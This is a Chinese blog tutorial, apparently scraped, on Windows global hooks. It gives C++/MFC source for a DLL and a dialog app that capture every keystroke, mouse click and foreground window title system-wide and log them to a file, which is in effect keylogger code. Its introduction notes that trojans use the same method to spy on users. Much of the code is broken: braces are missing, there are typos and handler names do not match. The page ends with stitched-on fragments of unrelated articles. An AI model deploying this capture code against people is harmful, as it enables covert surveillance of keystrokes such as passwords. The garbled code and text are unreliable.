全局钩子详细解释

全局钩子具体解释

监控程序的实现 
     我们发现一些木马或其它病毒程序经常会将我们的键盘或鼠标的操作消息记录下来然后再将它发到他们指定的地方以实现监听.这样的功能其它是利用了全局钩子将鼠标或键盘消息进行了截取,从而获得了操作的消息.要得到鼠标和键盘的控制权,我们要用SetWindowsHookEx这个函数: 
HHOOK SetWindowsHookEx( 
   int idHook,        // type of hook to install 
   HOOKPROC lpfn,     // address of hook procedure 
   HINSTANCE hMod,    // handle to application instance 
   DWORD dwThreadId   // identity of thread to install hook for 
); 
当中idHook是要安装的钩子标识即钩子的类型,lpfn是钩子函数的消息处理过程,hMod是应用程序的实例句柄,dwThreadId是要为哪个线程安装钩子.假设它为0则为所有线程都安装钩子,即为全局钩子.这就是获得所有应用程序消息控制权的開始.我们安装的钩子类型有非常多种主要是以下的: 
WH_CALLWNDPROCWH_CALLWNDPROCRETWH_CBTWH_DEBUGWH_FOREGROUNDIDLEWH_GETMESSAGEWH_JOURNALPLAYBACKWH_JOURNALRECORDWH_KEYBOARDWH_KEYBOARD_LLWH_MOUSEWH_MOUSE_LLWH_MSGFILTERWH_SHELLWH_SYSMSGFILTER 
当中WH_MOUSE是鼠标钩子,WH_KEYBOARD是键盘钩子. 
不同的钩子相应不同的钩子过程,钩子过程的写法(以键盘钩子过程为例)是: 
LRESULT CALLBACK MouseProc( 
   int nCode,      // hook code 
   WPARAM wParam,  // message identifier 
   LPARAM lParam   // mouse coordinates 
); 
钩子过程的名字是没关系的. 
要取消钩子的安装能够用UnhookWindowsEx: 
BOOL UnhookWindowsHookEx( 
   HHOOK hhk   // handle to hook procedure to remove 
);

以下要介绍一下怎样让每一个应用程序要安装上钩子函数,要让每一个应用程序都安装上钩子要用到动态链接库的知识,利用动态链接库载入到每一个应用程序中. 
我们首先用VC6.0新建一个WINDOWS动态链接库的空project,新建一个头文件为了动态链接库本身和使用动态链接库的应用程序也能用,我们定义好导入导出宏和自己定义消息以及要导入和导出的函数的定义: 
//HookDll.h 
// 定义函数修饰宏。方便引用本DLLproject的导出函数 
#ifdef KEYHOOKLIB_EXPORTS 
#define KEYHOOKLIB_API __declspec(dllexport)                 //导出宏 
#else 
#define KEYHOOKLIB_API __declspec(dllimport)               //导入宏 
#endif 
// 自己定义与主程序通信的消息 
#define HM_KEY WM_USER + 101                   //自己定义键盘消息 
#define HM_MOUSE WM_USER +102               //自己定义鼠标消息 
// 声明要导出的函数 
BOOL KEYHOOKLIB_API WINAPI SetKeyHook(BOOL bInstall, 
           DWORD dwThreadId = 0, HWND hWndCaller = NULL); 
BOOL KEYHOOKLIB_API WINAPI SetMouseHook(BOOL bInstall, 
           DWORD dwThreadId = 0, HWND hWndCaller = NULL

以下再新建一个C++源文件HookDll.cpp: 
我们先包括<windows.h>头文件 
再定义#define KEYHOOKLIB_EXPORTS让包括"HookDll.h"的时候,我们使用的是导出宏, 
#include "HookDll.h" 
#pragma data_seg("YCIShared") 
HWND g_hWndCaller = NULL; // 保存主窗体句柄 
HHOOK g_hHook = NULL;   // 保存钩子句柄 
HHOOK g_hMouseHook=NULL; 
#pragma data_seg() 
我们上面定义了共享的全局窗体句柄和全局的钩子标识,是为了全部应用程序都共享这三个变量. 
以下是钩子函数的实现代码: 
HMODULE WINAPI ModuleFromAddress(PVOID pv) //获得钩子函数的地址 

MEMORY_BASIC_INFORMATION mbi; 
if(::VirtualQuery(pv, &mbi, sizeof(mbi)) != 0) 

   return (HMODULE)mbi.AllocationBase; 

else 

   return NULL; 


LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam)// 键盘钩子函数消息过程 

     if(nCode < 0 || nCode == HC_NOREMOVE) 
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);

if(lParam & 0x40000000) // 消息反复就交给下一个hook链 

   return ::CallNextHookEx(g_hHook, nCode, wParam, lParam); 
}

// 通知主窗体。wParam參数为虚拟键码, lParam參数包括了此键的信息 
   ::PostMessage(g_hWndCaller, HM_KEY, wParam, lParam);   //发送自己定义键盘消息 
   return ::CallNextHookEx(g_hHook, nCode, wParam, lParam); 

BOOL WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)// 安装、卸载钩子的函数 

BOOL bOk; 
g_hWndCaller = hWndCaller;

if(bInstall) 

   g_hHook = ::SetWindowsHookEx(WH_KEYBOARD, KeyHookProc, 
     ModuleFromAddress(KeyHookProc), dwThreadId);               //安装键盘钩子 
   bOk = (g_hHook != NULL); 

else 

   bOk = ::UnhookWindowsHookEx(g_hHook); 
   g_hHook = NULL; 
}

return bOk; 

LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)//鼠标钩子处理过程 

   if(nCode < 0 || nCode == HC_NOREMOVE) 
   return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam); 
   ::PostMessage(g_hWndCaller, HM_MOUSE, wParam, lParam);//发送自己定义鼠标消息 
   return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam); 

BOOL WINAPI SetMouseHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller) 

BOOL bOk; 
g_hWndCaller = hWndCaller; 
if(bInstall) 

   g_hMouseHook = ::SetWindowsHookEx(WH_MOUSE, MouseProc, 
   ModuleFromAddress(MouseProc),dwThreadId);   //安装鼠标钩子 
   bOk = (g_hMouseHook != NULL); 

else 

   bOk = ::UnhookWindowsHookEx(g_hMouseHook); 
   g_hMouseHook = NULL; 

return bOk; 

最后再在project文件夹下建一个HookDll.def模块定义文件.写上下面代码 
LIBRARY HookDll 
EXPORTS         //指明导出函数名称 
   SetKeyHook 
   SetMouseHook 
SECTIONS       //指明共享字段 
   YCIShared   Read Write Shared 
用了模块定义文件时,在使用动态链接库的时间就能够直接用函数名调用函数了,否则将无法找到函数.其有用模块定义文件是为了不让动态链接库发生名字改编.

有了动态链接库后我们还须要用一个应用程序来设置和记录我们的鼠标和键盘记录. 
我们新建一个基于对话框的MFC应用程序projectHookApp.我们首先为我们的自己定义消息加入所需消息响应的实现代码. 
在对话框类的头文件的protected以下的凝视宏中间加入 
afx_msg longonHookKey(WPARAM wParam, LPARAM lParam); 
afx_msg longonHookMouse(WPARAM wParam, LPARAM lParam); 
指明消息处理函数,然后在对话框类的源文件里的 
BEGIN_MESSAGE_MAP(CHookAppDlg, CDialog) 
和END_MESSAGE_MAP之间加入以下的代码 
ON_MESSAGE(HM_KEY,onHookKey) 
ON_MESSAGE(HM_MOUSE,onHookMouse) 
定义好后在源文件里写事实上现函数: 
long CHookAppDlg::OnHookKey(WPARAM wParam, LPARAM lParam) 

// 此时參数wParam为用户按键的虚拟键码, 
// lParam參数包括按键的反复次数、扫描码、前一个按键状态等信息 
char szKey[80]; 
::GetKeyNameText(lParam, szKey, 80);   //获得按键名 
CString strItem; 
strItem.Format("用户按键:%s", szKey); 
CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1)); 
pListCtrl->InsertString(-1,strItem); 
     CFile MyFile; 
char *content; 
     if(!MyFile.Open(this->MyDocumentDir, 
   CFile::modeRead | CFile::modeWrite)) 

   MyFile.Open(this->MyDocumentDir, 
   CFile::modeCreate); 
   return 0; 

MyFile.SeekToEnd();                 //移动记录指针到末尾 
pListCtrl->GetText(pListCtrl->GetCount()-1,strItem); 
content=strItem.GetBuffer(MAX_PATH); 
MyFile.Write(content,strItem.GetLength()); 
CTime today=CTime::GetCurrentTime(); 
CString str=today.Format("/t/t%Y年%m月%d日 %H:%M:%S/r/n"); 
MyFile.Write(str.GetBuffer(str.GetLength()),str.GetLength()); 
MyFile.Close(); 
return 0; 

long CHookAppDlg::OnHookMouse(WPARAM wParam, LPARAM lParam) 

LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *)lParam; 
CString strItem,strText; 
     CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1)); 
CPoint point; 
::GetCursorPos(&point); 
ClientToScreen(&point); 
CWnd *pWnd=CWnd::GetForegroundWindow(); 
if(pWnd) 

   char str[80]; 
   pWnd->GetWindowText(str,80); 
   strText.Format("窗体:%s",str); 

CString str; 
/*CString tempstr; 
//   ClientToScreen(&pMouseHook->pt); 
   int x,y; 
   x=pMouseHook->pt.x; 
   y=pMouseHook->pt.y; 
   tempstr.Format("X=%d,Y=%d",x,y); 
   strText+=tempstr;*/ 
     if(wParam==WM_RBUTTONDOWN) 

   str.Format("   右键单击:位置 X=%d,Y=%d",point.x,point.y); 
   strText+=str; 
   pListCtrl->InsertString(-1,strText); 
   this->SaveToFile(strText,pListCtrl); 

if(wParam==WM_LBUTTONDBLCLK) 

   ScreenToClient(&point); 
   str.Format("   左键双击:位置 X=%d,Y=%d",point.x,point.y); 
   strText+=str; 
   pListCtrl->InsertString(-1,strText); 
   this->SaveToFile(strText,pListCtrl); 

if(wParam==WM_LBUTTONDOWN) 

   str.Format("   左键单击:位置 X=%d,Y=%d",point.x,point.y); 
   //MessageBox(strText); 
   strText+=str; 
   pListCtrl->InsertString(-1,strText); 
   this->SaveToFile(strText,pListCtrl); 

return 0; 

void CHookAppDlg::SaveToFile(CString strText,CListBox *pListCtrl) 

char *content; 
     CFile MyFile; 
if(!MyFile.Open(this->MyDocumentDir, 
   CFile::modeRead | CFile::modeWrite)) 

   MyFile.Open(this->MyDocumentDir, 
   CFile::modeCreate); 
   pListCtrl->InsertString(-1,"失败"); 
   return; 

MyFile.SeekToEnd(); 
content=strText.GetBuffer(strText.GetLength()); 
MyFile.Write(content,strText.GetLength()); 
CTime today=CTime::GetCurrentTime(); 
CString strTime=today.Format("/t/t%Y年%m月%d日 %H:%M:%S/r/n"); 
MyFile.Write(strTime.GetBuffer(strTime.GetLength()),strTime.GetLength()); 
MyFile.Close(); 

上面的代码就是实现将鼠标消息和键盘消息的操作消息加入到一个列表框中和记录到一个文件上的代码.当中this->MyDocumentDir是你要将操作消息记录到的文件路径.

在对话框初始化的时候
if(!SetKeyHook(TRUE,0, m_hWnd))
   MessageBox("安装钩子失败!");
if(!SetMouseHook(TRUE,0, m_hWnd))
   MessageBox("安装钩子失败!");

最后在
void CHookAppDlg::OnDestroy() 
{
::SetKeyHook(FASLE);//取消安加载的钩
::SetMouseHook(FALSE);//取消安装挂钩
}

这是一个鼠标和键盘消息监听代码,您还可以使用计划其他类型的固定钩.

时间: 2024-11-07 12:49:11

全局钩子详细解释的相关文章

全局钩子具体解释

全局钩子具体解释 监控程序的实现      我们发现一些木马或其它病毒程序经常会将我们的键盘或鼠标的操作消息记录下来然后再将它发到他们指定的地方以实现监听.这样的功能其它是利用了全局钩子将鼠标或键盘消息进行了截取,从而获得了操作的消息.要得到鼠标和键盘的控制权,我们要用SetWindowsHookEx这个函数: HHOOK SetWindowsHookEx(    int idHook,        // type of hook to install    HOOKPROC lpfn,   

SSM:spring+springmvc+mybatis框架中的XML配置文件功能详细解释

SSM:spring+springmvc+mybatis框架中的XML配置文件功能详细解释 2016-04-14 23:40 13030人阅读 评论(2) 收藏 举报 分类: SSM(7) 这几天一直在整合SSM框架,虽然网上有很多已经整合好的,但是对于里面的配置文件并没有进行过多的说明,很多人知其然不知其所以然,经过几天的搜索和整理,今天总算对其中的XML配置文件有了一定的了解,所以拿出来一起分享一下,希望有不足的地方大家批评指正~~~ 首先   这篇文章暂时只对框架中所要用到的配置文件进行解

Android开发中的设计模式—单例模式的详细解释

Android开发中的设计模式-单例模式的详细解释: 1. 单例模式的特点: (1).保证一个类只有一个实例 (2).提供一个能访问到他的全局访问点. (3).构造函数声明为私有的,从而阻止了在类外创建对象 2. 种类: (1).饿汉式单例模式 (2).懒汉式单例模式 3. 代码分析: (1).饿汉式单例模式: //类加载的时候对象就实例化了. private static Single mSingle = new Single(); public static Single getInstan

Android中ViewHolder模式开发的详细解释

Android开发中ViewHolder模式开发的详细解释: 1.ViewHolder的解释: (1).只是一个静态类,不是Android的API方法. (2).它的作用就在于减少不必要的调用findViewById,然后把对底下的控件引用存在ViewHolder里面,再在View.setTag(holder)把它放在view里,下次就可以直接取了. 2.convertView中的TAG: (1).Tag不像ID是用标示view的.Tag从本质上来讲是就是相关联的view的额外的信息.它们经常用

Android中多线程编程(四)AsyncTask类的详细解释(附源码)

Android中多线程编程中AsyncTask类的详细解释 1.Android单线程模型 2.耗时操作放在非主线程中执行 Android主线程和子线程之间的通信封装类:AsyncTask类 1.子线程中更新UI 2.封装.简化异步操作. 3.AsyncTask机制:底层是通过线程池来工作的,当一个线程没有执行完毕,后边的线程是无法执行的.必须等前边的线程执行完毕后,后边的线程才能执行. AsyncTask类使用注意事项: 1.在UI线程中创建AsyncTask的实例 2.必须在UI线程中调用As

我对CONTAINING_RECORD宏的详细解释

宏CONTAINING_RECORD的用处其实还是相当大的, 而且很是方便, 它的主要作用是: 根据结构体中的某成员的指针来推算出该结构体的指针! 下面从一个简单的例子开始说起: 我们定义一个结构体, 同时类型化: typedef struct{ int a; int b; int c; }ss; 这是一个很简单的结构体, 没什么特殊的, 稍微分析下该结构体: 结构体的大小(字节):4+4+4=12字节 成员a的偏移:0 成员b的偏移:4 成员c的偏移:8 我们用ss来定义一个变量: ss s

Atitit&#160;.jvm&#160;虚拟机指令详细解释

Atitit .jvm 虚拟机指令详细解释 1. 一.未归类系列A1 2. 数据mov系列2 2.1. 二.const系列2 2.2. 三.push系列2 2.3. ldc系列 该系列命令负责把数值常量或String常量值从常量池中推送至栈顶.3 2.4. 5.1.load系列A 该系列命令负责把本地变量的送到栈顶.3 2.5. 5.2.load系列B 该系列命令负责把数组的某项送到栈顶.4 2.6. 6.1.store系列A 该系列命令负责把栈顶的值存入本地变量.5 2.7. 6.2.stor

Sed命令的使用详细解释

Sed命令的使用详细解释 一:sed命令的简介 sed是一种在线编辑器,它一次处理一行内容.处理时,把当前处理的行存储在临时缓冲区中,称为"模式空间"(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕.接着处理下一行,这样不断重复,直到文件末尾.文件内容并没有改变,除非你使用重定向存储输出.Sed主要用来自动编辑一个或多个文件:简化对文件的反复操作:编写转换程序等.     二:Sed的用法格式 Sed [options] 'scri

设计模式 - 迭代模式(iterator pattern) Java 迭代器(Iterator) 详细解释

迭代模式(iterator pattern) Java 迭代器(Iterator) 详细解释 本文地址: http://blog.csdn.net/caroline_wendy 參考迭代器模式(iterator pattern): http://blog.csdn.net/caroline_wendy/article/details/35254643 Java的标准库(util)中包括迭代器接口(iterator interface), import java.util.Iterator; 继承